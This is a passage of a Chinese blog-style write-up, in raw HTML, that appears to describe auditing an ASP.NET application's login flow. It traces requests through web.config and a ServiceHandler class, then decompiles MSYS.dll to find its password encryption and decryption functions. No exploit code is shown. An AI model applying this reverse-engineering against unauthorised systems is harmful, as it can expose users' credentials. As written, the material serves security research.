src="https://wechat2rss.xlab.app/img-proxy/?k=d383c536&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdVD15DkuxpYCDHc8FIx4rwkkoMuXvOKegGvl7FZPw0vUUCGIgmWCkZibPv60evE0QrvrybiaticJkonl20XreS4Mb1CKr0sUr59ls%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过前几行代码可以看到程序把所有的请求都发送给了</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">Service.aspx</span></code><span leaf="">这个文件</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.18518518518518517" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038541" src="https://wechat2rss.xlab.app/img-proxy/?k=121c0f84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdWHOw6FAlUt8vK3VS9GZLsQhX9H5tYCU6ZzcVcib9TP5r75rttF1hCDdvQewn1u6o6Ylt7Ry9QEBvVa5Lurc7ZHSXnAemAFs81Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">所以登录请求的处理应该都在这个文件中，但是找了一遍在源码中并没有发现这个文件</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">直接全局搜索一下，在</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">web.config</span></code><span leaf="">中找到了这个文件</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5842592592592593" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038543" src="https://wechat2rss.xlab.app/img-proxy/?k=cd99cdb4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdUs1dqMcqoNx0GJIpW14pd2nhNEfS7QHTl8KPU1GpHcKqrhGFO0poko6cvAjWDqaZPO5k5FjEqNn9wGFEXGWcvPD1yolee2OK4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">可以看到在</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">web.config</span></code><span leaf="">中将</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">Service.aspx</span></code><span leaf="">的请求转给了</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">xxx.ServiceHandler</span></code><span leaf="">这个类来处理</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">那么继续来看下</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">ServiceHandler</span></code><span leaf="">类</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">ServiceHandler</span></code><span leaf="">是程序的唯一入口点，它用来接受所有的前端请求并进行处理，在</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">Process</span></code><span leaf="">方法中，可以看到登录的具体方法</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5842592592592593" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038542" src="https://wechat2rss.xlab.app/img-proxy/?k=7030473a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXia5gbmvZiaVKNiczrdSGp13WjTC4U1AumMXHjYHewgia1SxicYgqXlvfW29qMcY1w1E7kmv5tOvqfOwzKBGwunHSrZT62nYDRPia0I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在这里</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">text = serviceRequest.Get(&#34;RDASServiceName&#34;);</span></code><span leaf="">获取服务名，text就是login</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">string[] array = ConfigurationManager.AppSettings[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;RDASIProcess&#34;</span></span><span leaf="">].Split(new char[] { </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;,&#39;</span></span><span leaf=""> });</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">ConfigurationManager</span></code><span leaf="">用来访问配置文件，这里就是</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">web.config</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">AppSettings</span></code><span leaf="">用来读取</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;appSettings&gt;</span></code><span leaf="">配置节</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">所以这里就是来读取</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">web.config</span></code><span leaf="">中key为</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">RDASIProcess</span></code><span leaf="">的内容</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.06296296296296296" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038540" src="https://wechat2rss.xlab.app/img-proxy/?k=fc3e50b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdURAkxRDoooib6zZ3icFUNo6hS41QwZIZn0ibhwwRuZhUrHicNSnBl6fVXWJONjAGppEWVfKzia65GkV7FKCS5QHzicyibia2ush7k6zOk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">MSYS.Process就是最终要找的处理登录加密的代码</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">那么继续找到MSYS.dll进行反编译</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">反编译继续分析login的代码，发现了一个加密密码的函数</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5981481481481481" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038547" src="https://wechat2rss.xlab.app/img-proxy/?k=2c82ff3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdVSux2Dfa21HMUKoWicm0J17SsTupReMYbCysq5rwKaOcNribNdfbTBMOCRNprA3iab1wYYkY3fgl5ZrRAGuF3uibqbLRru2bZqg1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">跟进后发现一个加密函数，一个解密函数，很明显加密函数读取的是</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 